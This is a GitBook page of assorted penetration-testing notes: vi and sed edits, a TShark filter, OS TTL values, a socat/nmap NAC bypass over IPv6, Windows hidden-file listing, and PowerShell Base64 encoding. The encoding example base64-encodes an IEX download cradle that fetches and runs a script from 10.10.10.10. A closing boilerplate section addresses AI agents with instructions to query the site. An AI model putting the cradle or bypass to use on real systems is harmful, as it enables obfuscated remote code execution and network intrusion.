> For the complete documentation index, see [llms.txt](https://vulnableone.gitbook.io/vulnableone/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vulnableone.gitbook.io/vulnableone/offensive-treasure/penetration-testing/misc.md).

# Misc

## Replace value on vi

```basic
vi test.txt

[Esc] 
:s/ //g  
# search for space :s/ / 
/ replace nothing with space
g for global search for multiple time

[Esc]
:s/ /$/g
# Search for space and replace by $ sign
```

## TShark

```basic
tshark -r file.pcap -Y 'fieldname' -Tfields -e ip.src | sort | uniq -c
```

## TTL&#x20;

```basic
Window TTL= 128
Linux TTL= 64
```

## Bypass NAC via IPv6 address

```basic
sudo socat tcp-listen:443,reuseaddr,fork TCP6:[fe80-.....]:443
sudo nmap -6 ipv6-address -Pn -nv
```

## Append text to end of line

```basic
sed -i 's/$/ is a great programming language./' text.txt

└─$ cat text.txt   
C
C++
C#
Python
                                                                                                                                                                                             
└─$ sed -i 's/$/ is a great programming language./' text.txt
                                                                                                                                                                                             
└─$ cat text.txt 
C is a great programming language.
C++ is a great programming language.
C# is a great programming language.
Python is a great programming language.
```

## Windows Hidden Files

```powershell
PS C:\Users\redop\Desktop> attrib
A  SH        C:\Users\redop\Desktop\desktop.ini
A   H        C:\Users\redop\Desktop\user.txt


PS C:\Users\redop\Desktop> gci -force

    Directory: C:\Users\redop\Desktop

Mode                LastWriteTime     Length Name                              
----                -------------     ------ ----                              
-a-hs         5/30/2018  12:22 AM        282 desktop.ini                       
-a-h-         5/30/2018  11:32 PM         32 user.txt  
```

## Convert File to Base64 (Powershell)

Strnig

```powershell
# Encode
$str = 'IEX ((new-object net.webclient).downloadstring("http://10.10.10.10/run/txt"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

# Decode
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("base64-string"))
```

File

```powershell
# Encode
[System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\NOte.txt"))

# Decode
$str = "aGVsbG8gd29ybGQK"
[byte[]]$Bytes = [convert]::FromBase64String($str) 
[System.IO.File]::WriteAllBytes("/home/kali/note.txt",$Bytes)
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://vulnableone.gitbook.io/vulnableone/offensive-treasure/penetration-testing/misc.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
